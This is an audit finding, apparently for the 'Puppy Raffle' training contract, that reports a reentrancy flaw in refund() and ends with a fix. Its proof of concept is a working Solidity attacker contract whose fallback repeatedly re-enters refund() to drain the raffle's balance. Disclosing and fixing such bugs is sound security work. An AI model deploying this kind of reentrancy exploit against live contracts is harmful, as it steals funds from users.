First Flight #2: Puppy Raffle

Summary

Before the contract calls the "select winner" function,a bad actor can enter the "refund" function and drain the wallet.

Vulnerability Details

POC
create another contract with the code below. enter the raffle with the contract address and then call refund.
'''
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "./PuppyRaffle.sol";

contract reentrant {
PuppyRaffle public puppyRaffle;
uint public playerIndex;
constructor(address _puppyRaffleAddy) {
puppyRaffle = PuppyRaffle(_puppyRaffleAddy);
}

fallback() external payable {
    if(address(puppyRaffle).balance >=1e18) {
        puppyRaffle.refund(playerIndex);
    }
}

function attackRefund(uint _playerIndex) public{
    playerIndex = _playerIndex;
    puppyRaffle.refund(playerIndex);
}

 function getBalance() public view returns (uint){
    return address(this).balance;
}

}
'''

Impact

contract will lose all funds

Tools Used

remixIde

Recommendations

set playerIndex in refund() to 0 before sending out fund